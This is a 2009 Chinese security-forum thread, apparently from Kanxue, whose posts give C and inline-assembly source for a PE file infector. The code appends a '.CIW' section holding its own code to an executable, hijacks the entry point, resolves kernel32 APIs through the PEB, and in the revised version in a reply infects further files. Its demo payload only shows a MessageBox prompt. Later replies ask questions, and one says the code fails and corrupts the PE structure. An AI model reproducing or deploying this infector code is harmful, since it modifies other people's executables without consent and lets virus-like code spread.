首页
社区
课程
招聘
感染PE文件 (原创, C实现)
发表于: 2009-2-2 04:53 27490

感染PE文件 (原创, C实现)

2009-2-2 04:53
27490

#include <windows.h>
#include <iostream>
#include<tlhelp32.h>
using namespace std;

#pragma data_seg(".mydat")
#pragma code_seg(".shell")
#pragma const_seg(".constdata")
#pragma comment(linker,"/SECTION:.mydat,RWE")
#pragma comment(linker,"/SECTION:.shell,RWE")
#pragma comment(linker,"/SECTION:.constdata,RWE")
#pragma comment(linker,"/MERGE:.mydat=.shell")
#pragma comment(linker,"/MERGE:.constdata=.shell")
#define Recode _asm call A _asm A: _asm pop        ebx _asm lea eax, A _asm sub ebx,        eax
#define GetFunOffset(pFun) _asm mov        eax,        [ebx + pFun] _asm mov        pFun,        eax
#define GetStringOffset(pStr) _asm mov eax, [pStr] _asm lea        eax, [ebx + eax]  _asm mov pStr, eax
#define GetGlobalVar(dwGlobalVar, dwLocalVar) _asm mov eax, [ebx + dwGlobalVar] _asm mov dwLocalVar, eax
#define GetGlobalAddr(dwGlobalVar, dwLocalVar) _asm lea eax, [ebx + dwGlobalVar] _asm mov dwLocalVar, eax
#define VA_END        -2

DWORD GetProcessIdFromName(LPCTSTR name) ;
void Fun2();
int Invoke(char*pDllName, char*pFunName, ...);

typedef HINSTANCE (WINAPI *pLoadLibraryDef)(LPCTSTR);
typedef DWORD (WINAPI *pMsgBoxDef)(DWORD,DWORD,DWORD,DWORD);

DWORD dwOldEntry = 0;
char szUser32[] = "User32.Dll";
char szMessageBox[] = "MessageBoxA";
char szKernel32[] = "Kernel32.Dll";
char szExitProcess[] = "ExitProcess";
char szText[] = "真的要运行程序吗?";
char szCaption[] = "CIW_BLUE Code";

void WINAPI Fun1()
{
        Recode;
       
        DWORD dwOldAddr = 0;
        char* pUser32 = szUser32;
        char* pMessageBox = szMessageBox;
        char* pText = szText;
        char* pCaption = szCaption;
        char* pKernel32 = szKernel32;
        char* pExitProcess = szExitProcess;

        GetStringOffset(pUser32);
        GetStringOffset(pMessageBox);
        GetStringOffset(pText);
        GetStringOffset(pCaption);
        GetStringOffset(pKernel32);
        GetStringOffset(pExitProcess);
        GetGlobalVar(dwOldEntry, dwOldAddr);

        if( Invoke(pUser32, pMessageBox, NULL, pText, pCaption, MB_YESNO, VA_END) == IDNO)
        {
                Invoke(pKernel32, pExitProcess, 0, VA_END);
        }
       
        _asm
        {
                jmp dwOldAddr
        }
}

int Invoke(char* pDllName, char* pFunName, ...)
{
        DWORD dwLoadLib = 0x7C801D77;
        HMODULE hDll = ((HMODULE(WINAPI*)(char*))dwLoadLib)(pDllName);
        PROC dwFunAddr = ((PROC(WINAPI*)(HMODULE,char*))0x7C80ADA0)(hDll, pFunName);
        DWORD dwRet = 0;
        DWORD dwParam[128], dwParamTemp = 0;
        DWORD dwParamLen = 0;
        va_list stVaList;
       
        va_start(stVaList, pFunName);
        while((dwParam[dwParamLen++] = va_arg(stVaList,DWORD)) != VA_END);
        dwParamLen -= 2;
        while(dwParamLen != -1)
        {
                dwParamTemp = dwParam[dwParamLen--];
                _asm push dwParamTemp
        }
        _asm mov  eax, dwFunAddr
                _asm call eax
                _asm mov  dwRet,        eax
                va_end(stVaList);
        return dwRet;
}

void End()
{
}

int Align(int nSize, int n)
{
        if(nSize % n)
        {
                int num = nSize / n;
                return (num + 1) * n;
        }
        return nSize;
}

#define DOS IMAGE_DOS_HEADER
#define NT IMAGE_NT_HEADERS
#define SEC IMAGE_SECTION_HEADER

int main()
{
        DWORD dwCodeSize = (DWORD)End - (DWORD)&dwOldEntry, dwSize = 0, dwOldEntry1 = 0;
        HANDLE hFile = CreateFile("C:\\1.exe", GENERIC_READ | FILE_SHARE_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
        HANDLE hMapFile = CreateFileMapping(hFile, NULL, PAGE_READWRITE, NULL, NULL, NULL);
        PVOID pFile = MapViewOfFile(hMapFile, FILE_MAP_ALL_ACCESS, NULL, NULL, NULL);
       
        IMAGE_NT_HEADERS* stNT = (NT*)((char*)pFile + ((DOS*)pFile)->e_lfanew);
       
        IMAGE_SECTION_HEADER* stSec = (SEC*)((char*)pFile + ((DOS*)pFile)->e_lfanew + sizeof(NT));
        IMAGE_SECTION_HEADER* stLastSec = &stSec[stNT->FileHeader.NumberOfSections - 1];
        IMAGE_SECTION_HEADER* stNewSec = &stSec[stNT->FileHeader.NumberOfSections];
        DWORD dwFileAlign = stNT->OptionalHeader.FileAlignment;
        DWORD dwCodeAlign = stNT->OptionalHeader.SectionAlignment;
       
        stNT->FileHeader.NumberOfSections = stNT->FileHeader.NumberOfSections + 1;

        strcpy((char*)stNewSec->Name, ".CIW");
        stNewSec->Characteristics = IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_CNT_CODE;
        stNewSec->VirtualAddress = stLastSec->VirtualAddress + Align(stLastSec->Misc.VirtualSize, dwCodeAlign);
        stNewSec->PointerToRawData = stLastSec->PointerToRawData + stLastSec->SizeOfRawData;
        stNewSec->SizeOfRawData = Align(dwCodeSize, dwFileAlign);
        stNewSec->Misc.VirtualSize = Align(dwCodeSize, dwCodeAlign);
       
        stNT->OptionalHeader.SizeOfCode += stNewSec->Misc.VirtualSize;
        stNT->OptionalHeader.SizeOfImage += stNewSec->Misc.VirtualSize;

       
        SetFilePointer(hFile, stNewSec->PointerToRawData, NULL, FILE_BEGIN);
        WriteFile(hFile, &dwOldEntry, stNewSec->Misc.VirtualSize, &dwSize, NULL);
        SetEndOfFile(hFile);

        dwOldEntry1 = stNT->OptionalHeader.AddressOfEntryPoint + stNT->OptionalHeader.ImageBase;
        SetFilePointer(hFile, stNewSec->PointerToRawData, NULL, FILE_BEGIN);
        WriteFile(hFile, &dwOldEntry1 , 4, &dwSize, NULL);

        stNT->OptionalHeader.AddressOfEntryPoint = stNewSec->VirtualAddress + (DWORD)Fun1 - (DWORD)&dwOldEntry;

        FlushViewOfFile(pFile, stNT->OptionalHeader.SizeOfHeaders);

        UnmapViewOfFile(pFile);
        CloseHandle(hMapFile);
        CloseHandle(hFile);       
       
        return 0;
}


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 7
支持
分享
最新回复 (11)
雪    币: 180
活跃值: (76)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
2
这是C++....
2009-2-3 01:57
0
雪    币: 215
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
原帖:http://hi.baidu.com/ciw%5Fblue/blog/item/527fef260882db108b82a139.html  

1.改进了 Invoke函数 现在可以支持全局字符串 但是在第3个参数必须指定类型 和 printf中的%s,%d相似 s或S为字符串

2.动态获取Kernel32.dll,LoadLibrary,GetProcAddress地址

3.被感染的文件可以再感染

#include <windows.h>

#pragma data_seg(".mydat")
#pragma code_seg(".shell")
#pragma const_seg(".constdata")
#pragma comment(linker,"/SECTION:.mydat,RWE")
#pragma comment(linker,"/SECTION:.shell,RWE")
#pragma comment(linker,"/SECTION:.constdata,RWE")
#pragma comment(linker,"/MERGE:.mydat=.shell")
#pragma comment(linker,"/MERGE:.constdata=.shell")
#pragma comment(linker, "/OPT:NOWIN98")
#pragma comment(linker, "/ENTRY:main")   
#pragma comment(linker, "/subsystem:windows")

#define Recode(A) _asm call A _asm A: _asm pop ebx _asm lea eax, A _asm sub ebx, eax
#define GetFunOffset(pFun) _asm mov eax, [ebx + pFun] _asm mov pFun, eax
#define GetStringOffset(pStr) _asm mov eax, [pStr] _asm lea eax, [ebx + eax] _asm mov pStr, eax
#define GetGlobalVar(dwGlobalVar, dwLocalVar) _asm mov eax, [ebx + dwGlobalVar] _asm mov dwLocalVar, eax
#define GetGlobalAddr(dwGlobalVar, dwLocalVar) _asm lea eax, [ebx + dwGlobalVar] _asm mov dwLocalVar, eax
#define VA_END -2
#define DOS IMAGE_DOS_HEADER
#define NT IMAGE_NT_HEADERS
#define SEC IMAGE_SECTION_HEADER
#define MZ_FLAG 23117
#define PE_FLAG 17744
#define MY_SECTION_NAME_LENGTH 4
void GetKernellFun();
void CodeEnd() ;
int Invoke(char* pGlobalDllName, char* pGlobalFunName, char* pGlobalAgrFmt, ...);
typedef HINSTANCE (WINAPI *pLoadLibraryDef)(LPCTSTR);
typedef DWORD (WINAPI *pMsgBoxDef)(DWORD,DWORD,DWORD,DWORD);
bool Strcmp(char* szSrc, char* szDes);
bool InjectPe(char* szInjectFileName, bool);
DWORD dwOldEntry = 0;
char szUser32[] = "User32.Dll";
char szMessageBox[] = "MessageBoxA";
char szKernel32[] = "Kernel32.Dll";
char szExitProcess[] = "ExitProcess";
char szText[] = "真的要运行程序吗?";
char szCaption[] = "CIW_BLUE Code";
char szLoadLibrary[] = "LoadLibraryA";
char szGetProcAddress[] = "GetProcAddress";
char szMySectionName[] = ".CIW";
DWORD dwLoadLibrary = 0;
DWORD dwGetProcAddress = 0;

char szInjectFileName[] = "C:\\1.exe";

int main()
{
        Recode(A)
        GetKernellFun();
        DWORD dwOldAddr = 0;
        char *pInjectFileName = szInjectFileName;
        GetStringOffset(pInjectFileName);
        GetGlobalVar(dwOldEntry, dwOldAddr);
       
        if(Invoke("User32", "MessageBoxA", "nssn", NULL, szText, szCaption, MB_YESNO, VA_END) == IDNO)
        {
                Invoke(szKernel32, szExitProcess, "n", 0, VA_END);
        }

        InjectPe(pInjectFileName, 0);

        _asm
        {
                cmp dwOldAddr, 0
                jz NotJmp
                jmp dwOldAddr
NotJmp:
               
        }
        Invoke(szKernel32, szExitProcess, "n", 0, VA_END);
        return 0;
}
int Invoke(char* pGlobalDllName, char* pGlobalFunName, char* pGlobalAgrFmt, ...)
{
        Recode(A)
                char*pTempFunName = pGlobalDllName;
        GetStringOffset(pGlobalDllName);
        GetStringOffset(pGlobalFunName);
        GetStringOffset(pGlobalAgrFmt);
       
        DWORD dwLoadLib = 0x7c800000;
        DWORD dwGetProcAddr = 0x7c800000;
       
        GetGlobalVar(dwLoadLibrary, dwLoadLib);
        GetGlobalVar(dwGetProcAddress, dwGetProcAddr);
       
        HMODULE hDll = ((HMODULE(WINAPI*)(char*))dwLoadLib)(pGlobalDllName);
        PROC dwFunAddr = ((PROC(WINAPI*)(HMODULE,char*))dwGetProcAddr)(hDll, pGlobalFunName);
        DWORD dwRet = 0, j = 0;
        DWORD dwParam[128], dwParamTemp = 0;
        DWORD dwParamLen = 0;
        va_list stVaList;
       
        va_start(stVaList, pGlobalAgrFmt);
        while((dwParam[dwParamLen++] = va_arg(stVaList,DWORD)) != VA_END);
        dwParamLen -= 2;
        while(dwParamLen != -1)
        {
                dwParamTemp = dwParam[dwParamLen];
               
                if(pGlobalAgrFmt[dwParamLen] == 's' || pGlobalAgrFmt[dwParamLen] == 'S')
                        GetStringOffset(dwParamTemp);
               
                _asm push dwParamTemp
                       
                        dwParamLen--;
        }
        _asm mov  eax, dwFunAddr
                _asm call eax
                _asm mov  dwRet,        eax
                va_end(stVaList);
        return dwRet;
}

void GetKernellFun()
{
        Recode(A)
               
                char* pLoadLibrary = szLoadLibrary;
        char* pGetProcAddress = szGetProcAddress;
        DWORD dwFuncAddr = 0;
       
        GetStringOffset(pLoadLibrary);
        GetStringOffset(pGetProcAddress);
       
        IMAGE_DOS_HEADER* stDos;
        IMAGE_NT_HEADERS* stNT;
        IMAGE_DATA_DIRECTORY* stDatDir = 0;
        IMAGE_EXPORT_DIRECTORY* stEPT;
       
        DWORD dwKernelBase = 0;
        _asm
        {
                mov eax,dword ptr fs:[30h]
                        mov eax,dword ptr [eax+0Ch]
                        mov esi,dword ptr [eax+1Ch]
                        lods dword ptr [esi]
                        mov eax,dword ptr [eax+08h]
                        mov dwKernelBase, eax
        }
       
        char *pBase = (char*)dwKernelBase;
        stDos = (IMAGE_DOS_HEADER*)dwKernelBase;
       
        stNT = (IMAGE_NT_HEADERS*)(pBase + stDos->e_lfanew);
       
        stDatDir = &stNT->OptionalHeader.DataDirectory[0];
       
        stEPT = (IMAGE_EXPORT_DIRECTORY*)(pBase + stDatDir->VirtualAddress);
       
        DWORD* dwFunAddr = (DWORD*)(pBase + stEPT->AddressOfFunctions);
        DWORD* dwAddr = (DWORD*)(pBase + stEPT->AddressOfNames);
        WORD* dwAddr1 = (WORD*)(pBase + stEPT->AddressOfNameOrdinals);
       
        for(int i = 0; i < stEPT->NumberOfNames; i++)
        {
                if(Strcmp(pBase + dwAddr[i], pLoadLibrary) == 0)
                        break;
        }
        dwFuncAddr = dwFunAddr[i];
        _asm
        {
                Recode(B)
                        mov        eax, dwFuncAddr
                        add eax, dwKernelBase
                        mov [ebx + dwLoadLibrary], eax
        }
       
       
        for(i = 0; i < stEPT->NumberOfNames; i++)
        {
                if(Strcmp(pBase + dwAddr[i], pGetProcAddress) == 0)
                        break;
        }
        dwFuncAddr = dwFunAddr[i];
        _asm
        {
                Recode(C)
                        mov        eax, dwFuncAddr
                        add eax, dwKernelBase
                        mov [ebx + dwGetProcAddress], eax
        }
}

bool Strcmp(char* szSrc, char* szDes)
{
        while(*szSrc && *szDes && *szSrc == *szDes)
        {
                szSrc++, szDes++;
        }
        return *szSrc - *szDes;
}

void Strcpy(char *szDesStr, char *szSrcStr)
{
        while( *szSrcStr )
                *szDesStr ++ = *szSrcStr ++;
        *szDesStr = 0;
}
bool IsPeFile(PVOID pPeBase)
{
        IMAGE_DOS_HEADER* stDos = (DOS*)pPeBase;
        IMAGE_NT_HEADERS* stNT = (NT*)((char*)pPeBase + stDos->e_lfanew);
        if(stDos->e_magic != MZ_FLAG)
                return false;
       
        if(stNT->Signature != PE_FLAG)
                return false;
       
        return true;
}

int Align(int nSize, int n)
{
        if(nSize % n)
                return (nSize / n + 1) * n;
       
        return nSize;
}

bool InjectPe(char* szInjectFileName, bool bFlag)
{
        Recode(A)
        char* pMySectionName = szMySectionName;
        DWORD dwCodeSize = (DWORD)CodeEnd - (DWORD)&dwOldEntry, dwSize = 0, dwOldEntry1 = 0, dwOldAddr = 0;
        GetStringOffset(pMySectionName);

        Recode(B)
GetGlobalAddr(dwOldEntry, dwOldAddr);
        GetKernellFun();
        HANDLE hFile = (HANDLE)Invoke("Kernel32.dll", "CreateFileA", "snnnnnn", ::szInjectFileName, GENERIC_READ | FILE_SHARE_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL, VA_END);
        HANDLE hMapFile = (HANDLE)Invoke("Kernel32", "CreateFileMappingA", "nnnnnn", hFile, NULL, PAGE_READWRITE, NULL, NULL, NULL, VA_END);
        PVOID pFile = (PVOID)Invoke("Kernel32", "MapViewOfFile", "nnnnnn", hMapFile, FILE_MAP_ALL_ACCESS, NULL, NULL, NULL, VA_END);
        if(!pFile)
                return 0;
        if(!IsPeFile(pFile))
                return 0;
        IMAGE_NT_HEADERS* stNT = (NT*)((char*)pFile + ((DOS*)pFile)->e_lfanew);
       
        IMAGE_SECTION_HEADER* stSec = (SEC*)((char*)pFile + ((DOS*)pFile)->e_lfanew + sizeof(NT));
       
        for(int i = 0; i < stNT->FileHeader.NumberOfSections; i++)
                if(!Strcmp((char*)stSec[i].Name, pMySectionName))
                        return 0;
               
                stSec = (SEC*)((char*)pFile + ((DOS*)pFile)->e_lfanew + sizeof(NT));
                IMAGE_SECTION_HEADER* stLastSec = &stSec[stNT->FileHeader.NumberOfSections - 1];
                IMAGE_SECTION_HEADER* stNewSec = &stSec[stNT->FileHeader.NumberOfSections];
                DWORD dwFileAlign = stNT->OptionalHeader.FileAlignment;
                DWORD dwCodeAlign = stNT->OptionalHeader.SectionAlignment;
               
                stNT->FileHeader.NumberOfSections = stNT->FileHeader.NumberOfSections + 1;
               
                Strcpy((char*)stNewSec->Name, pMySectionName);
                stNewSec->Characteristics = IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE ;
                stNewSec->VirtualAddress = stLastSec->VirtualAddress + Align(stLastSec->Misc.VirtualSize, dwCodeAlign);
                stNewSec->PointerToRawData = stLastSec->PointerToRawData + stLastSec->SizeOfRawData;
                stNewSec->SizeOfRawData = Align(dwCodeSize, dwFileAlign);
                stNewSec->Misc.VirtualSize = Align(dwCodeSize, dwCodeAlign);
                 
                stNT->OptionalHeader.SizeOfCode += stNewSec->Misc.VirtualSize;
                stNT->OptionalHeader.SizeOfImage += stNewSec->Misc.VirtualSize;
               
                Invoke("Kernel32", "SetFilePointer", "nnnn", hFile, stNewSec->PointerToRawData, NULL, FILE_BEGIN, VA_END);

                Invoke("Kernel32", "WriteFile", "nnnnn", hFile, dwOldAddr, stNewSec->Misc.VirtualSize, &dwSize, NULL, VA_END);

                Invoke("Kernel32", "SetEndOfFile", "n", hFile, VA_END);

                dwOldEntry1 = stNT->OptionalHeader.AddressOfEntryPoint + stNT->OptionalHeader.ImageBase;
                Invoke("Kernel32", "SetFilePointer", "nnnn", hFile, stNewSec->PointerToRawData, NULL, FILE_BEGIN, VA_END);
                Invoke("Kernel32", "WriteFile", "nnnnn", hFile, &dwOldEntry1 , 4, &dwSize, NULL, VA_END);

                stNT->OptionalHeader.AddressOfEntryPoint = stNewSec->VirtualAddress + (DWORD)main - (DWORD)&dwOldEntry;
               
                Invoke("Kernel32", "FlushViewOfFile", "nn", pFile, stNT->OptionalHeader.SizeOfHeaders, VA_END);
               
                Invoke("Kernel32", "UnmapViewOfFile", "n", pFile, VA_END);
                Invoke("Kernel32", "CloseHandle", "n", hMapFile, VA_END);
                Invoke("Kernel32", "CloseHandle", "n", hFile, VA_END);
                return true;
}         

void CodeEnd()
{
}
2009-2-3 12:05
0
雪    币: 258
活跃值: (16)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
4
注释下是好习惯
2009-2-3 13:29
0
雪    币: 1137
活跃值: (10)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
5
CIW的好文章一定要顶!
2009-2-4 13:55
0
雪    币: 203
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
顶一下,PE这个问题让我一直都处于混沌的状态
2009-3-10 13:52
0
雪    币: 264
活跃值: (62)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
嗯嗯 我也正研究这一块呢
2009-3-10 14:38
0
雪    币: 1708
活跃值: (586)
能力值: ( LV15,RANK:670 )
在线值:
发帖
回帖
粉丝
8
是要我们自己写注释么? 竟然不想给我们这些菜鸟看懂
2009-3-10 16:21
0
雪    币: 7651
活跃值: (523)
能力值: ( LV9,RANK:610 )
在线值:
发帖
回帖
粉丝
9

学习靠自己,楼主可没说过包教包会的
2009-3-10 17:40
0
雪    币: 149
活跃值: (150)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
10
弱弱问一下楼主GetStringOffset(pStr)的作用是什么,我调试跟踪了下EBX都是0,所以获取到得pStr是没有变化的????
2012-3-26 23:39
0
雪    币: 35
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
不知道楼主自己测试了没?我编译后根本就达不到预期的效果……你的第一个代码应该是翻译罗云斌的《win32汇编语言程序设计》吧?编程思路很像,但那段代码复制,用C语言那样操作根本达不到那样的效果,而且你的代码好像还破坏了原有的win32的PE结构
2014-1-25 20:34
0
雪    币: 77
活跃值: (48)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
MARK
2014-3-8 10:29
0
游客
登录 | 注册 方可回帖
返回
//